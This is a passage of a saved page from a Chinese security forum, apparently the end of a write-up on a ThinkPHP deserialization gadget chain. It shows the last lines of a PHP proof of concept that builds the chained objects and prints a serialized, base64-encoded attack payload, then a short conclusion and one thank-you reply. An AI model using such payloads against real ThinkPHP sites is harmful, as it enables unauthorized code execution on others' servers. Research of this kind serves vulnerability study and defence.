<span class=n>$option</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>model</span><span class=err>\</span><span class=n>Pivot</span><span class=o>(</span><span class=k>new</span> <span class=n>Symfony</span><span class=err>\</span><span class=n>Component</span><span class=err>\</span><span class=n>VarDumper</span><span class=err>\</span><span class=n>Caster</span><span class=err>\</span><span class=n>ConstStub</span><span class=o>,</span> <span class=n>$call</span><span class=o>);</span>
|
|||
|
|
<span class=n>$router</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>Route</span><span class=o>;</span>
|
|||
|
|
<span class=n>$resource</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=err>\</span><span class=n>Resource</span><span class=o>(</span><span class=s>"abc.nivia"</span><span class=o>,</span> <span class=n>$router</span> <span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=n>$resourceRegister</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=err>\</span><span class=n>ResourceRegister</span><span class=o>(</span><span class=n>$resource</span><span class=o>);</span>
|
|||
|
|
<span class=n>echo</span> <span class=nf>urlencode</span><span class=o>(</span><span class=n>base64_encode</span><span class=o>(</span><span class=n>serialize</span><span class=o>(</span><span class=n>$resourceRegister</span><span class=o>)));</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
</pre></div>
|
|||
|
|
<h3 id=toc-5>结语</h3>
|
|||
|
|
<p>乍一看发现调用链似乎没这么难,但过程还是比较艰辛,中间也遇到很多坑,似乎感觉不可能,也尝试了很多种想法。也是体验了一把挖掘的感觉</p>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class=post-user-action style=margin-top:34px>
|
|||
|
|
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=14904>
|
|||
|
|
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>1</span>
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
<span class="btn btn-default pull-right" id=follow_topic data-pk=14904>
|
|||
|
|
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>2</span>
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="btn btn-default pull-right">
|
|||
|
|
<span>
|
|||
|
|
|
|||
|
|
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
<div class=clearfix></div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class=related-section>
|
|||
|
|
<div class=related-box>
|
|||
|
|
|
|||
|
|
<span><a class=pull-left href=https://xz.aliyun.com/t/14900 title=KoiStealer窃密木马最新攻击链样本详细分析><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>KoiStealer窃密木马最新攻...</a></span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span><a class=pull-left href=https://xz.aliyun.com/t/14909 title="回炉重修之house of storm 源码分析和调试"><span class=related-label>下一篇:</span>回炉重修之house of sto...</a></span>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
|
|||
|
|
<div class=modal-dialog>
|
|||
|
|
<div class=modal-content>
|
|||
|
|
<div class=modal-header>
|
|||
|
|
<h4 class=modal-title id=myModalLabel style=text-align:center>
|
|||
|
|
积分打赏
|
|||
|
|
</h4>
|
|||
|
|
</div>
|
|||
|
|
<div class=modal-body id=button-value>
|
|||
|
|
<div style=text-align:center>
|
|||
|
|
<div role=group>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
|
|||
|
|
1分
|
|||
|
|
</button>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
|
|||
|
|
2分
|
|||
|
|
</button>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
|
|||
|
|
5分
|
|||
|
|
</button>
|
|||
|
|
</div>
|
|||
|
|
<br>
|
|||
|
|
<div style=margin-top:20px>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
|
|||
|
|
8分
|
|||
|
|
</button>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
|
|||
|
|
10分
|
|||
|
|
</button>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
|
|||
|
|
20分
|
|||
|
|
</button>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class=modal-footer id=confirm>
|
|||
|
|
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
|
|||
|
|
<button type=button class="btn btn-primary" id=reward_topic data-pk=14904>确定</button>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="row box">
|
|||
|
|
<ol class=breadcrumb>
|
|||
|
|
<li class=active>1 条回复</li>
|
|||
|
|
</ol>
|
|||
|
|
<div class="box-container post-container">
|
|||
|
|
|
|||
|
|
|
|||
|
|
<ul class=post-info id=reply-20056>
|
|||
|
|
<li>
|
|||
|
|
<div class="row1 user-info clearfix">
|
|||
|
|
|
|||
|
|
<img class="avatar pull-left tiny-avatar" src="data:image/png;base64,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
|
|||
|
|
|
|||
|
|
<span class=post-info>
|
|||
|
|
|
|||
|
|
<a class="label label-default" href=https://xz.aliyun.com/u/82107>1914902974140614</a>
|
|||
|
|
|
|||
|
|
<span class=bbs-time>2024-06-25 16:14:54</span>
|
|||
|
|
|
|||
|
|
<span>来自四川 </span>
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
<div class="post-content markdown-body">
|
|||
|
|
<p>谢谢nivia的宝贵思路!!!</p>
|
|||
|
|
</div>
|
|||
|
|
<div class=manual-box>
|
|||
|
|
<span class=thumbs data-action=post data-pk=20056 data-topic=14904><i class="fa fa-thumbs-o-up"></i><span>0</span></span>
|
|||
|
|
<span class="reply-jump reply reply-count" data-nickname=1914902974140614>回复Ta</span>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<hr>
|
|||
|
|
</li>
|
|||
|
|
</ul>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="row box" id=reply-box>
|
|||
|
|
|
|||
|
|
<div class="box-container clearfix">
|
|||
|
|
|
|||
|
|
<div class=reminder>
|
|||
|
|
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14904&from_type=xianzhi"><strong>登录</strong></a> 后跟帖
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<footer class=bs-docs-footer>
|
|||
|
|
<div class="container text-center">
|
|||
|
|
<div class=links>
|
|||
|
|
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
|
|||
|
|
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
|
|||
|
|
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
|
|||
|
|
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
|
|||
|
|
<a href=https://xz.aliyun.com/connection>联系我们</a>
|
|||
|
|
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
|
|||
|
|
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</footer>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div id=waf_nc_block style=display:none></div><div id=gtx-trans style=position:absolute;left:208px;top:59px><div class=gtx-trans-icon></div></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
|
|||
|
|
* Pico.css v1.5.6 (https://picocss.com)
|
|||
|
|
* Copyright 2019-2022 - Licensed under MIT
|
|||
|
|
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:.5rem;--nav-link-spacing-vertical:.5rem;--nav-link-spacing-horizontal:.5rem;--form-label-font-weight:var(--font-weight);--transition:.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media(min-width:576px){#mount{--font-size:17px}}@media(min-width:768px){#mount{--font-size:18px}}@media(min-width:992px){#mount{--font-size:19px}}@media(min-width:1200px){#mount{--font-size:20px}}@media(min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media(min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media(min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media(min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media(min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media(min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media(min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media(min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media(min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media(min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#f5f7f9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-sha
|